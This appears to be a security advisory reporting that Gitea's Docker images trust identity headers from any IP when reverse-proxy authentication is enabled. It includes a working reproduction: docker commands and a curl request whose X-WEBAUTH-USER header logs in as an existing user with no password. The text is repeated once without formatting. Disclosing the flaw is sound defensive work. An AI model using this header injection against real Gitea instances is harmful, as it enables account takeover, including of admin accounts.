Summary
The Gitea Docker images ship an app.ini template that hard-codes:
REVERSE_PROXY_TRUSTED_PROXIES = *
The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.
When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.
Affected
gitea/gitea Docker images (verified 1.26.2)docker/root/etc/templates/app.ini:55docker/rootless/etc/templates/app.ini:52
Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.
Reproduction
docker run -d --name g -p 3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git g gitea admin user create \
--username alice --password "longpasswordhere1234" \
--email alice@x.test --must-change-password=false
Now the attack::
curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
| grep -oE '<title>[^<]+</title>'
Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.
Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.
Impact
Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.
References
rz1027 Reporter
Summary
The Gitea Docker images ship an
app.initemplate that hard-codes:The documented default for this setting, in
custom/conf/app.example.ini, is127.0.0.0/8,::1/128, i.e. only loopback is trusted.When an admin enables
ENABLE_REVERSE_PROXY_AUTHENTICATION = trueto put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trustsX-WEBAUTH-USERfrom any source IP that can reach the container.Affected
gitea/giteaDocker images (verified1.26.2)docker/root/etc/templates/app.ini:55docker/rootless/etc/templates/app.ini:52Binary distribution and self-built deployments that follow
app.example.iniget the loopback-only default and are not affected.Reproduction
Output:
<title>alice - Dashboard - Gitea: Git with a cup of tea</title>— attacker is logged in as alice with one header, no password, no cookie.Same payload with
X-WEBAUTH-USER: <any_existing_username>impersonates that user.Impact
Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (
admin,gitea_admin, etc.) are the obvious targets.References